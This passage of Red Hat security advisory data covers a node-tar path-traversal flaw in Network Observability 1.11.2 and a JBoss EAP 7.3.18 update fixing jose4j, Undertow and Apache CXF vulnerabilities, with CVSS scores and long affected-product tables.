"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
}
],
"release_date": "2026-01-28T00:20:13.261000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-02-18T08:39:41+00:00",
"details": "For details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:2900"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le",
"Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check"
}
]
}
RHSA-2026:33371
Vulnerability from csaf_redhat - Published: 2026-06-30 00:13 - Updated: 2026-07-22 15:08Summary
Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.3.18 security update
Severity
Important
Notes
Topic: An update is now available for Red Hat JBoss Enterprise Application Platform 7.3 for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
Details: Red Hat JBoss Enterprise Application Platform 7 is a platform for Java applications based on the WildFly application runtime. This release of Red Hat JBoss Enterprise Application Platform 7.3.18 serves as a replacement for Red Hat JBoss Enterprise Application Platform 7.3.17, and includes bug fixes and enhancements. See the Red Hat JBoss Enterprise Application Platform 7.3.18 Release Notes for information about the most significant bug fixes and enhancements included in this release.
Security Fix(es):
* jose4j: From CVEorg collector (CVE-2024-29371)
* undertow-core: Undertow HTTP Server Fails to Reject Malformed Host Headers Leading to Potential Cache Poisoning and SSRF (CVE-2025-12543)
* org.apache.cxf/cxf-core: Apache CXF: Denial of Service vulnerability with temporary files (CVE-2025-23184)
* undertow-core: Undertow MadeYouReset HTTP/2 DDoS Vulnerability (CVE-2025-9784)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in jose4j. A remote attacker can exploit this by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression. This can lead to a Denial of Service, making the service unavailable to legitimate users.
7.5 (High)
Affected products
Fixed
6 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — |
Vendor Fix
fix
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Vendor Fix
fix
|
Known not affected
30 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch | — | ||
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src | — |
Threats
Impact
Important
A flaw was found in Undertow where malformed client requests can trigger server-side stream resets without triggering abuse counters. This issue, referred to as the "MadeYouReset" attack, allows malicious clients to induce excessive server workload by repeatedly causing server-side stream aborts. While not a protocol bug, this highlights a common implementation weakness that can be exploited to cause a denial of service (DoS).
7.5 (High)
Affected products
Fixed
2 products
Known not affected
34 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch | — |
Workaround
|
Threats
Impact
Important
A flaw was found in the Undertow HTTP server core, which is used in WildFly, JBoss EAP, and other Java applications. The Undertow library fails to properly validate the Host header in incoming HTTP requests.As a result, requests containing malformed or malicious Host headers are processed without rejection, enabling attackers to poison caches, perform internal network scans, or hijack user sessions.
9.6 (Critical)
Affected products
Fixed
2 products
Known not affected
34 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src | — |
Workaround
|
|
| Unresolved product id: 7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch | — |
Workaround
|
|
